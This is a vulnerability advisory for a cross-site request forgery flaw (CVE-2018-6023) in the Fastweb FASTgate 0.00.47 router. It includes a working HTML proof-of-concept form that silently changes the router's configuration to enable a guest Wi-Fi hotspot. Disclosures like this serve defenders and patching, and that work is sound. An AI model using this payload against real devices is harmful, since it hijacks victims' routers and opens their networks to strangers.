Fastweb FASTGate 0.00.47 Cross Site Request Forgery

2018.05.10

Credit: Raffaele Sabato

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2018-6023

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: Fastweb FASTgate 0.00.47 CSRF
# Date: 09-05-2018
# Exploit Authors: Raffaele Sabato
# Contact: https://twitter.com/syrion89
# Vendor: Fastweb
# Product Web Page: http://www.fastweb.it/adsl-fibra-ottica/dettagli/modem-fastweb-fastgate/
# Version: 0.00.47
# CVE: CVE-2018-6023
 
I DESCRIPTION
========================================================================
 
An issue was discovered in Fastweb FASTgate 0.00.47 device. A Cross-site
request forgery (CSRF) vulnerability allows remote attackers to hijack the
authentication of users for requests that modify the configuration.
This vulnerability may lead to Gues Wi-Fi activating, Wi-Fi password
changing, etc.
 
II PROOF OF CONCEPT
========================================================================
 
## Activate Gues Wi-Fi:
 
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.254/status.cgi">
      <input type="hidden" name="&#95;" value="1516312144136" />
      <input type="hidden" name="act" value="nvset" />
      <input type="hidden" name="hotspot&#95;broadcast&#95;ssid" value="1" />
      <input type="hidden" name="hotspot&#95;enable" value="1" />
      <input type="hidden" name="hotspot&#95;filtering" value="all" />
      <input type="hidden" name="hotspot&#95;security" value="WPA2PSK" />
      <input type="hidden" name="hotspot&#95;ssid" value="GUEST&#45;Test" />
      <input type="hidden" name="hotspot&#95;timeout" value="&#45;1" />
      <input type="hidden" name="service" value="wl&#95;guestaccess" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
 
III REFERENCES
========================================================================
http://www.fastweb.it/myfastpage/assistenza/guide/FASTGate/

See this note in RAW Version

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Fastweb FASTGate 0.00.47 Cross Site Request Forgery

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